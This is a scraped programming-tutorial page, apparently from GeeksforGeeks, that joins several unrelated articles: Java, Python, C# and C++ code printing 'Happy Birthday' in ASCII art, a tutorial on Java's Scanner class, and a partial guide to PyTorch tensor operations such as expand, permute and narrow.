System.out.println(); System.out.println(); System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6|| i==7||i==8||i==10|| i==11||i==14||i==15|| i==16||i==18||i==20|| i==22||i==23||i==27|| i==28||i==31||i==33) System.out.print(ch); else System.out.print(" "); } System.out.println(); for(int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22||i==24|| i==26||i==29||i==31||i==33) System.out.print(ch); else System.out.print(" "); } System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==7|| i==10||i==11|| i==15||i==18||i==19|| i==20||i==22|| i==24||i==26||i==27|| i==28||i==29||i==31 ||i==32||i==33) System.out.print(ch); else System.out.print(" "); } System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22|| i==24||i==26||i==29||i==32) System.out.print(ch); else System.out.print(" "); } System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8|| i==10||i==12||i==15||i==18||i==20|| i==23||i==22||i==26||i==29||i==32) System.out.print(ch); else System.out.print(" "); } System.out.println();}} // This code is contributed// by Anant Agarwal. # Python program to # print Happy Birthday# Print first row ch = '@'for i in range(1,(34+1)): if (i==5 or i==7 or i==10 or i==11 or i==14 or i==15 or i==16 or i==18 or i==19 or i==20 or i==22 or i==24): print(ch,end="") else: print(" ", end="") # Print second rowprint()for i in range(1,(34+1)): if(i==5 or i==7 or i==9 or i==12 or i==14 or i==16 or i==18 or i==20 or i==22 or i==24): print(ch,end="") else: print(" ", end="") # Print third rowprint()for i in range(1,(34+1)): if (i==5 or i==6 or i==7 or i==9 or i==10 or i==11 or i==12 or i==14 or i==15 or i==16 or i==18 or i==19 or i==20 or i==22 or i==23 or i==24): print(ch,end="") else: print(" ", end="") # Print fourth rowprint()for i in range(1,(34+1)): if (i==5 or i==7 or i==9 or i==12 or i==14 or i==18 or i==23): print(ch,end="") else: print(" ", end="") # Print fifth rowprint()for i in range(1,(34+1)): if (i==5 or i==7 or i==9 or i==12 or i==14 or i==18 or i==23): print(ch,end="") else: print(" ",end="") # Happy is printed, # now print birthday row by rowprint()print()print()for i in range(1,(34+1)): if (i==2 or i==3 or i==4 or i==6 or i==7 or i==8 or i==10 or i==11 or i==14 or i==15 or i==16 or i==18 or i==20 or i==22 or i==23 or i==27 or i==28 or i==31 or i==33): print(ch,end="") else: print(" ",end="") print()for i in range(1,(34+1)): if (i==2 or i==4 or i==7 or i==10 or i==12 or i==15 or i==18 or i==20 or i==22 or i==24 or i==26 or i==29 or i==31 or i==33): print(ch,end="") else: print(" ",end="") print()for i in range(1,(34+1)): if (i==2 or i==3 or i==4 or i==7 or i==10 or i==11 or i==15 or i==18 or i==19 or i==20 or i==22 or i==24 or i==26 or i==27 or i==28 or i==29 or i==31 or i==32 or i==33): print(ch,end="") else: print(" ",end="") print()for i in range(1,(34+1)): if (i==2 or i==4 or i==7 or i==10 or i==12 or i==15 or i==18 or i==20 or i==22 or i==24 or i==26 or i==29 or i==32): print(ch,end="") else: print(" ", end="") print()for i in range(1,(34+1)): if (i==2 or i==3 or i==4 or i==6 or i==7 or i==8 or i==10 or i==12 or i==15 or i==18 or i==20 or i==23 or i==22 or i==26 or i==29 or i==32): print(ch,end="") else: print(" ", end="") print() # This code is contributed # by Anant Agarwal. // C# program to print Happy Birthdayusing System; class GFG { // Print first row public static void Main() { char ch = '@'; for(int i=1; i<=34; i++) { if (i==5||i==7||i==10||i==11||i==14||i==15|| i==16||i==18||i==19||i==20||i==22||i==24) Console.Write(ch) ; else Console.Write(" ") ; } // Print second row Console.Write("\n"); for(int i=1; i<=34; i++) { if(i==5||i==7||i==9||i==12||i==14||i==16 ||i==18||i==20||i==22||i==24) Console.Write(ch) ; else Console.Write(" ") ; } // Print third row Console.Write("\n"); for (int i=1; i<=34; i++) { if (i==5||i==6||i==7||i==9||i==10||i==11||i==12|| i==14||i==15||i==16||i==18||i==19||i==20|| i==22||i==23||i==24) Console.Write(ch) ; else Console.Write(" ") ; } // Print fourth row Console.Write("\n"); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) Console.Write(ch) ; else Console.Write(" ") ; } // Print fifth row Console.Write("\n"); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) Console.Write(ch) ; else Console.Write(" ") ; } // Happy is printed, now print // birthday row by row Console.Write("\n"); Console.Write("\n"); Console.Write("\n"); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8||i==10|| i==11||i==14||i==15||i==16||i==18||i==20|| i==22||i==23||i==27||i==28||i==31||i==33) Console.Write(ch) ; else Console.Write(" ") ; } Console.Write("\n"); for(int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22||i==24|| i==26||i==29||i==31||i==33) Console.Write(ch) ; else Console.Write(" ") ; } Console.Write("\n"); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==7||i==10||i==11|| i==15||i==18||i==19||i==20||i==22|| i==24||i==26||i==27||i==28||i==29||i==31 ||i==32||i==33) Console.Write(ch) ; else Console.Write(" "); } Console.Write("\n"); for (int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22|| i==24||i==26||i==29||i==32) Console.Write(ch) ; else Console.Write(" ") ; } Console.Write("\n"); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8|| i==10||i==12||i==15||i==18||i==20|| i==23||i==22||i==26||i==29||i==32) Console.Write(ch) ; else Console.Write(" ") ; } Console.Write("\n"); } //This code is contributed by DrRoot_} @ @ @@ @@@ @@@ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@@@ @@@ @@@ @@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@@ @@ @@@ @ @ @@ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @ @@ @ @@@ @ @ @@@@ @@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@@ @ @ @ @ @ @@ @ @ @ This article is contributed by Manjeet Singh(HBD.N20). If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. DrRoot_ pattern-printing C Language C++ School Programming pattern-printing CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Unordered Sets in C++ Standard Template Library Operators in C / C++ What is the purpose of a function prototype? Exception Handling in C++ TCP Server-Client implementation in C Vector in C++ STL Map in C++ Standard Template Library (STL) Initialize a vector in C++ (7 different ways) Set in C++ Standard Template Library (STL) vector erase() and clear() in C++
[ { "code": null, "e": 28, "s": 0, "text": "\n04 Jan, 2019" }, { "code": null, "e": 193, "s": 28, "text": "After a lot of programming algorithms, it’s turn to wish a programmer friend. Send this code to your coder friend and give him/her a surprise on his/her birthdaY !." }, { "code": null, "e": 197, "s": 193, "text": "CPP" }, { "code": null, "e": 202, "s": 197, "text": "Java" }, { "code": null, "e": 210, "s": 202, "text": "Python3" }, { "code": null, "e": 213, "s": 210, "text": "C#" }, { "code": "// CPP program to print Happy Birthday#include<bits/stdc++.h>using namespace std; int main(){ // Print first row char ch = '@'; for(int i=1; i<=34; i++) { if (i==5||i==7||i==10||i==11||i==14||i==15|| i==16||i==18||i==19||i==20||i==22||i==24) cout << ch ; else cout << \" \" ; } // Print second row cout << endl; for(int i=1; i<=34; i++) { if(i==5||i==7||i==9||i==12||i==14||i==16 ||i==18||i==20||i==22||i==24) cout << ch ; else cout << \" \" ; } // Print third row cout << endl; for (int i=1; i<=34; i++) { if (i==5||i==6||i==7||i==9||i==10||i==11||i==12|| i==14||i==15||i==16||i==18||i==19||i==20|| i==22||i==23||i==24) cout << ch ; else cout << \" \" ; } // Print fourth row cout << endl; for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) cout << ch ; else cout << \" \" ; } // Print fifth row cout << endl; for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) cout << ch ; else cout << \" \" ; } // Happy is printed, now print // birthday row by row cout << endl; cout << endl; cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8||i==10|| i==11||i==14||i==15||i==16||i==18||i==20|| i==22||i==23||i==27||i==28||i==31||i==33) cout << ch ; else cout << \" \" ; } cout << endl; for(int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22||i==24|| i==26||i==29||i==31||i==33) cout << ch ; else cout << \" \" ; } cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==7||i==10||i==11|| i==15||i==18||i==19||i==20||i==22|| i==24||i==26||i==27||i==28||i==29||i==31 ||i==32||i==33) cout << ch ; else cout << \" \" ; } cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22|| i==24||i==26||i==29||i==32) cout << ch ; else cout << \" \" ; } cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8|| i==10||i==12||i==15||i==18||i==20|| i==23||i==22||i==26||i==29||i==32) cout << ch ; else cout << \" \" ; } cout << endl;}", "e": 2797, "s": 213, "text": null }, { "code": "// Java program to print// Happy Birthday class GFG{public static void main(String arg[]){ // Print first row char ch = '@'; for(int i=1; i<=34; i++) { if (i==5||i==7||i==10|| i==11||i==14||i==15|| i==16||i==18||i==19|| i==20||i==22||i==24) System.out.print(ch); else System.out.print(\" \"); } // Print second row System.out.println(); for(int i=1; i<=34; i++) { if(i==5||i==7||i==9||i==12||i==14||i==16 ||i==18||i==20||i==22||i==24) System.out.print(ch); else System.out.print(\" \"); } // Print third row System.out.println(); for (int i=1; i<=34; i++) { if (i==5||i==6||i==7||i==9|| i==10||i==11||i==12|| i==14||i==15||i==16|| i==18||i==19||i==20|| i==22||i==23||i==24) System.out.print(ch) ; else System.out.print(\" \"); } // Print fourth row System.out.println(); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12|| i==14||i==18||i==23) System.out.print(ch); else System.out.print(\" \"); } // Print fifth row System.out.println(); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12|| i==14||i==18||i==23) System.out.print(ch); else System.out.print(\" \"); } // Happy is printed, now print // birthday row by row System.out.println(); System.out.println(); System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6|| i==7||i==8||i==10|| i==11||i==14||i==15|| i==16||i==18||i==20|| i==22||i==23||i==27|| i==28||i==31||i==33) System.out.print(ch); else System.out.print(\" \"); } System.out.println(); for(int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22||i==24|| i==26||i==29||i==31||i==33) System.out.print(ch); else System.out.print(\" \"); } System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==7|| i==10||i==11|| i==15||i==18||i==19|| i==20||i==22|| i==24||i==26||i==27|| i==28||i==29||i==31 ||i==32||i==33) System.out.print(ch); else System.out.print(\" \"); } System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22|| i==24||i==26||i==29||i==32) System.out.print(ch); else System.out.print(\" \"); } System.out.println(); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8|| i==10||i==12||i==15||i==18||i==20|| i==23||i==22||i==26||i==29||i==32) System.out.print(ch); else System.out.print(\" \"); } System.out.println();}} // This code is contributed// by Anant Agarwal.", "e": 5869, "s": 2797, "text": null }, { "code": "# Python program to # print Happy Birthday# Print first row ch = '@'for i in range(1,(34+1)): if (i==5 or i==7 or i==10 or i==11 or i==14 or i==15 or i==16 or i==18 or i==19 or i==20 or i==22 or i==24): print(ch,end=\"\") else: print(\" \", end=\"\") # Print second rowprint()for i in range(1,(34+1)): if(i==5 or i==7 or i==9 or i==12 or i==14 or i==16 or i==18 or i==20 or i==22 or i==24): print(ch,end=\"\") else: print(\" \", end=\"\") # Print third rowprint()for i in range(1,(34+1)): if (i==5 or i==6 or i==7 or i==9 or i==10 or i==11 or i==12 or i==14 or i==15 or i==16 or i==18 or i==19 or i==20 or i==22 or i==23 or i==24): print(ch,end=\"\") else: print(\" \", end=\"\") # Print fourth rowprint()for i in range(1,(34+1)): if (i==5 or i==7 or i==9 or i==12 or i==14 or i==18 or i==23): print(ch,end=\"\") else: print(\" \", end=\"\") # Print fifth rowprint()for i in range(1,(34+1)): if (i==5 or i==7 or i==9 or i==12 or i==14 or i==18 or i==23): print(ch,end=\"\") else: print(\" \",end=\"\") # Happy is printed, # now print birthday row by rowprint()print()print()for i in range(1,(34+1)): if (i==2 or i==3 or i==4 or i==6 or i==7 or i==8 or i==10 or i==11 or i==14 or i==15 or i==16 or i==18 or i==20 or i==22 or i==23 or i==27 or i==28 or i==31 or i==33): print(ch,end=\"\") else: print(\" \",end=\"\") print()for i in range(1,(34+1)): if (i==2 or i==4 or i==7 or i==10 or i==12 or i==15 or i==18 or i==20 or i==22 or i==24 or i==26 or i==29 or i==31 or i==33): print(ch,end=\"\") else: print(\" \",end=\"\") print()for i in range(1,(34+1)): if (i==2 or i==3 or i==4 or i==7 or i==10 or i==11 or i==15 or i==18 or i==19 or i==20 or i==22 or i==24 or i==26 or i==27 or i==28 or i==29 or i==31 or i==32 or i==33): print(ch,end=\"\") else: print(\" \",end=\"\") print()for i in range(1,(34+1)): if (i==2 or i==4 or i==7 or i==10 or i==12 or i==15 or i==18 or i==20 or i==22 or i==24 or i==26 or i==29 or i==32): print(ch,end=\"\") else: print(\" \", end=\"\") print()for i in range(1,(34+1)): if (i==2 or i==3 or i==4 or i==6 or i==7 or i==8 or i==10 or i==12 or i==15 or i==18 or i==20 or i==23 or i==22 or i==26 or i==29 or i==32): print(ch,end=\"\") else: print(\" \", end=\"\") print() # This code is contributed # by Anant Agarwal.", "e": 8589, "s": 5869, "text": null }, { "code": "// C# program to print Happy Birthdayusing System; class GFG { // Print first row public static void Main() { char ch = '@'; for(int i=1; i<=34; i++) { if (i==5||i==7||i==10||i==11||i==14||i==15|| i==16||i==18||i==19||i==20||i==22||i==24) Console.Write(ch) ; else Console.Write(\" \") ; } // Print second row Console.Write(\"\\n\"); for(int i=1; i<=34; i++) { if(i==5||i==7||i==9||i==12||i==14||i==16 ||i==18||i==20||i==22||i==24) Console.Write(ch) ; else Console.Write(\" \") ; } // Print third row Console.Write(\"\\n\"); for (int i=1; i<=34; i++) { if (i==5||i==6||i==7||i==9||i==10||i==11||i==12|| i==14||i==15||i==16||i==18||i==19||i==20|| i==22||i==23||i==24) Console.Write(ch) ; else Console.Write(\" \") ; } // Print fourth row Console.Write(\"\\n\"); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) Console.Write(ch) ; else Console.Write(\" \") ; } // Print fifth row Console.Write(\"\\n\"); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) Console.Write(ch) ; else Console.Write(\" \") ; } // Happy is printed, now print // birthday row by row Console.Write(\"\\n\"); Console.Write(\"\\n\"); Console.Write(\"\\n\"); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8||i==10|| i==11||i==14||i==15||i==16||i==18||i==20|| i==22||i==23||i==27||i==28||i==31||i==33) Console.Write(ch) ; else Console.Write(\" \") ; } Console.Write(\"\\n\"); for(int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22||i==24|| i==26||i==29||i==31||i==33) Console.Write(ch) ; else Console.Write(\" \") ; } Console.Write(\"\\n\"); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==7||i==10||i==11|| i==15||i==18||i==19||i==20||i==22|| i==24||i==26||i==27||i==28||i==29||i==31 ||i==32||i==33) Console.Write(ch) ; else Console.Write(\" \"); } Console.Write(\"\\n\"); for (int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22|| i==24||i==26||i==29||i==32) Console.Write(ch) ; else Console.Write(\" \") ; } Console.Write(\"\\n\"); for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8|| i==10||i==12||i==15||i==18||i==20|| i==23||i==22||i==26||i==29||i==32) Console.Write(ch) ; else Console.Write(\" \") ; } Console.Write(\"\\n\"); } //This code is contributed by DrRoot_}", "e": 11979, "s": 8589, "text": null }, { "code": null, "e": 12333, "s": 11979, "text": " @ @ @@ @@@ @@@ @ @ \n @ @ @ @ @ @ @ @ @ @ \n @@@ @@@@ @@@ @@@ @@@ \n @ @ @ @ @ @ @ \n @ @ @ @ @ @ @ \n\n\n @@@ @@@ @@ @@@ @ @ @@ @@ @ @ \n @ @ @ @ @ @ @ @ @ @ @ @ @ @ \n @@@ @ @@ @ @@@ @ @ @@@@ @@@ \n @ @ @ @ @ @ @ @ @ @ @ @ @ \n @@@ @@@ @ @ @ @ @ @@ @ @ @ \n\n" }, { "code": null, "e": 12643, "s": 12333, "text": "This article is contributed by Manjeet Singh(HBD.N20). If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks." }, { "code": null, "e": 12768, "s": 12643, "text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 12776, "s": 12768, "text": "DrRoot_" }, { "code": null, "e": 12793, "s": 12776, "text": "pattern-printing" }, { "code": null, "e": 12804, "s": 12793, "text": "C Language" }, { "code": null, "e": 12808, "s": 12804, "text": "C++" }, { "code": null, "e": 12827, "s": 12808, "text": "School Programming" }, { "code": null, "e": 12844, "s": 12827, "text": "pattern-printing" }, { "code": null, "e": 12848, "s": 12844, "text": "CPP" }, { "code": null, "e": 12946, "s": 12848, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 12994, "s": 12946, "text": "Unordered Sets in C++ Standard Template Library" }, { "code": null, "e": 13015, "s": 12994, "text": "Operators in C / C++" }, { "code": null, "e": 13060, "s": 13015, "text": "What is the purpose of a function prototype?" }, { "code": null, "e": 13086, "s": 13060, "text": "Exception Handling in C++" }, { "code": null, "e": 13124, "s": 13086, "text": "TCP Server-Client implementation in C" }, { "code": null, "e": 13142, "s": 13124, "text": "Vector in C++ STL" }, { "code": null, "e": 13185, "s": 13142, "text": "Map in C++ Standard Template Library (STL)" }, { "code": null, "e": 13231, "s": 13185, "text": "Initialize a vector in C++ (7 different ways)" }, { "code": null, "e": 13274, "s": 13231, "text": "Set in C++ Standard Template Library (STL)" } ]
Scanner Class in Java
04 Jul, 2022 Scanner is a class in java.util package used for obtaining the input of the primitive types like int, double, etc. and strings. It is the easiest way to read input in a Java program, though not very efficient if you want an input method for scenarios where time is a constraint like in competitive programming. To create an object of Scanner class, we usually pass the predefined object System.in, which represents the standard input stream. We may pass an object of class File if we want to read input from a file. To read numerical values of a certain data type XYZ, the function to use is nextXYZ(). For example, to read a value of type short, we can use nextShort() To read strings, we use nextLine(). To read a single character, we use next().charAt(0). next() function returns the next token/word in the input as a string and charAt(0) function returns the first character in that string. The Scanner class reads an entire line and divides the line into tokens. Tokens are small elements that have some meaning to the Java compiler. For example, Suppose there is an input string: How are youIn this case, the scanner object will read the entire line and divides the string into tokens: “How”, “are” and “you”. The object then iterates over each token and reads each token using its different methods. Let us look at the code snippet to read data of various data types. Java // Java program to read data of various types using Scanner class.import java.util.Scanner;public class ScannerDemo1{ public static void main(String[] args) { // Declare the object and initialize with // predefined standard input object Scanner sc = new Scanner(System.in); // String input String name = sc.nextLine(); // Character input char gender = sc.next().charAt(0); // Numerical data input // byte, short and float can be read // using similar-named functions. int age = sc.nextInt(); long mobileNo = sc.nextLong(); double cgpa = sc.nextDouble(); // Print the values to check if the input was correctly obtained. System.out.println("Name: "+name); System.out.println("Gender: "+gender); System.out.println("Age: "+age); System.out.println("Mobile Number: "+mobileNo); System.out.println("CGPA: "+cgpa); }} Input : Geek F 40 9876543210 9.9 Output : Name: Geek Gender: F Age: 40 Mobile Number: 9876543210 CGPA: 9.9 Sometimes, we have to check if the next value we read is of a certain type or if the input has ended (EOF marker encountered). Then, we check if the scanner’s input is of the type we want with the help of hasNextXYZ() functions where XYZ is the type we are interested in. The function returns true if the scanner has a token of that type, otherwise false. For example, in the below code, we have used hasNextInt(). To check for a string, we use hasNextLine(). Similarly, to check for a single character, we use hasNext().charAt(0). Let us look at the code snippet to read some numbers from console and print their mean. Java // Java program to read some values using Scanner// class and print their mean.import java.util.Scanner; public class ScannerDemo2{ public static void main(String[] args) { // Declare an object and initialize with // predefined standard input object Scanner sc = new Scanner(System.in); // Initialize sum and count of input elements int sum = 0, count = 0; // Check if an int value is available while (sc.hasNextInt()) { // Read an int value int num = sc.nextInt(); sum += num; count++; } int mean = sum / count; System.out.println("Mean: " + mean); }} Input: 101 223 238 892 99 500 728 Output: Mean: 397 This article is contributed by Sukrit Bhatnagar. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above Kirti_Mangal likeicare rahulvsaxenaa Java-I/O Java School Programming Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Collections in Java Stream In Java Singleton Class in Java Set in Java Initializing a List in Java Python Dictionary Arrays in C/C++ Introduction To PYTHON Inheritance in C++ C++ Classes and Objects
[ { "code": null, "e": 52, "s": 24, "text": "\n04 Jul, 2022" }, { "code": null, "e": 363, "s": 52, "text": "Scanner is a class in java.util package used for obtaining the input of the primitive types like int, double, etc. and strings. It is the easiest way to read input in a Java program, though not very efficient if you want an input method for scenarios where time is a constraint like in competitive programming." }, { "code": null, "e": 568, "s": 363, "text": "To create an object of Scanner class, we usually pass the predefined object System.in, which represents the standard input stream. We may pass an object of class File if we want to read input from a file." }, { "code": null, "e": 722, "s": 568, "text": "To read numerical values of a certain data type XYZ, the function to use is nextXYZ(). For example, to read a value of type short, we can use nextShort()" }, { "code": null, "e": 758, "s": 722, "text": "To read strings, we use nextLine()." }, { "code": null, "e": 947, "s": 758, "text": "To read a single character, we use next().charAt(0). next() function returns the next token/word in the input as a string and charAt(0) function returns the first character in that string." }, { "code": null, "e": 1359, "s": 947, "text": "The Scanner class reads an entire line and divides the line into tokens. Tokens are small elements that have some meaning to the Java compiler. For example, Suppose there is an input string: How are youIn this case, the scanner object will read the entire line and divides the string into tokens: “How”, “are” and “you”. The object then iterates over each token and reads each token using its different methods." }, { "code": null, "e": 1427, "s": 1359, "text": "Let us look at the code snippet to read data of various data types." }, { "code": null, "e": 1432, "s": 1427, "text": "Java" }, { "code": "// Java program to read data of various types using Scanner class.import java.util.Scanner;public class ScannerDemo1{ public static void main(String[] args) { // Declare the object and initialize with // predefined standard input object Scanner sc = new Scanner(System.in); // String input String name = sc.nextLine(); // Character input char gender = sc.next().charAt(0); // Numerical data input // byte, short and float can be read // using similar-named functions. int age = sc.nextInt(); long mobileNo = sc.nextLong(); double cgpa = sc.nextDouble(); // Print the values to check if the input was correctly obtained. System.out.println(\"Name: \"+name); System.out.println(\"Gender: \"+gender); System.out.println(\"Age: \"+age); System.out.println(\"Mobile Number: \"+mobileNo); System.out.println(\"CGPA: \"+cgpa); }}", "e": 2391, "s": 1432, "text": null }, { "code": null, "e": 2399, "s": 2391, "text": "Input :" }, { "code": null, "e": 2424, "s": 2399, "text": "Geek\nF\n40\n9876543210\n9.9" }, { "code": null, "e": 2433, "s": 2424, "text": "Output :" }, { "code": null, "e": 2498, "s": 2433, "text": "Name: Geek\nGender: F\nAge: 40\nMobile Number: 9876543210\nCGPA: 9.9" }, { "code": null, "e": 2625, "s": 2498, "text": "Sometimes, we have to check if the next value we read is of a certain type or if the input has ended (EOF marker encountered)." }, { "code": null, "e": 3030, "s": 2625, "text": "Then, we check if the scanner’s input is of the type we want with the help of hasNextXYZ() functions where XYZ is the type we are interested in. The function returns true if the scanner has a token of that type, otherwise false. For example, in the below code, we have used hasNextInt(). To check for a string, we use hasNextLine(). Similarly, to check for a single character, we use hasNext().charAt(0)." }, { "code": null, "e": 3119, "s": 3030, "text": "Let us look at the code snippet to read some numbers from console and print their mean. " }, { "code": null, "e": 3124, "s": 3119, "text": "Java" }, { "code": "// Java program to read some values using Scanner// class and print their mean.import java.util.Scanner; public class ScannerDemo2{ public static void main(String[] args) { // Declare an object and initialize with // predefined standard input object Scanner sc = new Scanner(System.in); // Initialize sum and count of input elements int sum = 0, count = 0; // Check if an int value is available while (sc.hasNextInt()) { // Read an int value int num = sc.nextInt(); sum += num; count++; } int mean = sum / count; System.out.println(\"Mean: \" + mean); }}", "e": 3809, "s": 3124, "text": null }, { "code": null, "e": 3816, "s": 3809, "text": "Input:" }, { "code": null, "e": 3843, "s": 3816, "text": "101\n223\n238\n892\n99\n500\n728" }, { "code": null, "e": 3851, "s": 3843, "text": "Output:" }, { "code": null, "e": 3861, "s": 3851, "text": "Mean: 397" }, { "code": null, "e": 4256, "s": 3861, "text": "This article is contributed by Sukrit Bhatnagar. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above" }, { "code": null, "e": 4269, "s": 4256, "text": "Kirti_Mangal" }, { "code": null, "e": 4279, "s": 4269, "text": "likeicare" }, { "code": null, "e": 4293, "s": 4279, "text": "rahulvsaxenaa" }, { "code": null, "e": 4302, "s": 4293, "text": "Java-I/O" }, { "code": null, "e": 4307, "s": 4302, "text": "Java" }, { "code": null, "e": 4326, "s": 4307, "text": "School Programming" }, { "code": null, "e": 4331, "s": 4326, "text": "Java" }, { "code": null, "e": 4429, "s": 4331, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 4449, "s": 4429, "text": "Collections in Java" }, { "code": null, "e": 4464, "s": 4449, "text": "Stream In Java" }, { "code": null, "e": 4488, "s": 4464, "text": "Singleton Class in Java" }, { "code": null, "e": 4500, "s": 4488, "text": "Set in Java" }, { "code": null, "e": 4528, "s": 4500, "text": "Initializing a List in Java" }, { "code": null, "e": 4546, "s": 4528, "text": "Python Dictionary" }, { "code": null, "e": 4562, "s": 4546, "text": "Arrays in C/C++" }, { "code": null, "e": 4585, "s": 4562, "text": "Introduction To PYTHON" }, { "code": null, "e": 4604, "s": 4585, "text": "Inheritance in C++" } ]
Tensor Operations in PyTorch
04 Jan, 2022 In this article, we will discuss tensor operations in PyTorch. PyTorch is a scientific package used to perform operations on the given data like tensor in python. A Tensor is a collection of data like a numpy array. We can create a tensor using the tensor function: Syntax: torch.tensor([[[element1,element2,.,element n],......,[element1,element2,.,element n]]]) where, torch is the module tensor is the function elements are the data The Operations in PyTorch that are applied on tensor are: This operation is used to expand the tensor into a number of tensors, a number of rows in tensors, and a number of columns in tensors. Syntax: tensor.expand(n,r,c) where, tensor is the input tensor n is to return the number of tensors r is the number of rows in each tensor c is the number of columns in each tensor Example: In this example, we will expand the tensor into 4 tensors, 2 rows and 3 columns in each tensor Python3 # import moduleimport torch # create a tensor with 2 data# in 3 three elements eachdata = torch.tensor([[10, 20, 30], [45, 67, 89]]) # displayprint(data) # expand the tensor into 4 tensors , 2# rows and 3 columns in each tensorprint(data.expand(4, 2, 3)) Output: tensor([[10, 20, 30], [45, 67, 89]]) tensor([[[10, 20, 30], [45, 67, 89]], [[10, 20, 30], [45, 67, 89]], [[10, 20, 30], [45, 67, 89]], [[10, 20, 30], [45, 67, 89]]]) This is used to reorder the tensor using row and column Syntax: tensor.permute(a,b,c) where tensor is the input tensor permute(1,2,0) is used to permute the tensor by row permute(2,1,0) is used to permute the tensor by column Example: In this example, we are going to permute the tensor first by row and by column. Python3 # import moduleimport torch # create a tensor with 2 data# in 3 three elements eachdata = torch.tensor([[[10, 20, 30], [45, 67, 89]]]) # displayprint(data) # permute the tensor first by rowprint(data.permute(1, 2, 0)) # permute the tensor first by columnprint(data.permute(2, 1, 0)) Output: tensor([[[10, 20, 30], [45, 67, 89]]]) tensor([[[10], [20], [30]], [[45], [67], [89]]]) tensor([[[10], [45]], [[20], [67]], [[30], [89]]]) This method is used to return a list or nested list from the given tensor. Syntax: tensor.tolist() Example: In this example, we are going to convert the given tensor into the list. Python3 # import moduleimport torch # create a tensor with 2 data in# 3 three elements eachdata = torch.tensor([[[10, 20, 30], [45, 67, 89]]]) # displayprint(data) # convert the tensor to listprint(data.tolist()) Output: tensor([[[10, 20, 30], [45, 67, 89]]]) [[[10, 20, 30], [45, 67, 89]]] This function is used to narrow the tensor. in other words, it will extend the tensor based on the input dimensions. Syntax: torch.narrow(tensor,d,i,l) where, tensor is the input tensor d is the dimension to narrow i is the starting index of the vector l is the length of the new tensor along the dimension – d Example: In this example, we will narrow the tensor with 1 dimension which is starting from 1 st index, and the length of each dimension is 2 and we will narrow the tensor with 1 dimension which is starting from the 0th index and the length of each dimension is 2 Python3 # import moduleimport torch # create a tensor with 2 data in# 3 three elements eachdata = torch.tensor([[10, 20, 30], [45, 67, 89], [23, 45, 67]]) # displayprint(data) # narrow the tensor# with 1 dimension# starting from 1 st index# length of each dimension is 2print(torch.narrow(data, 1, 1, 2)) # narrow the tensor# with 1 dimension# starting from 0 th index# length of each dimension is 2print(torch.narrow(data, 